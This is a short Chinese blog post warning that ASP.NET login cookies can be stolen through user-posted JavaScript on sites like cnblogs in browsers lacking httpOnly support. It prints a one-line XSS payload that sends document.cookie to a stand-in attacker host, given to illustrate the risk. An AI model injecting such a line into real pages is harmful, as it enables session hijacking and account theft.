一个一直都让人忽略的ASP.NET安全问题.

自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.

这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .

而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.


但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?

例如 , 假如你用FireFox登录博客园(www.cnblogs.com ), 然后到一个恶意的用户的文章去.

你知道cnblogs.com允许用户随意增加javascript的.

那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:

hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)

当然,ASP.NET发送给客户端的信息是加密过的.

但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.

 

所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.

但是如果使用IE6SP1,IE7,就不会存在该问题.

因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.

你可能感兴趣的:(JavaScript,数据库,浏览器,IE,asp.net,firefox)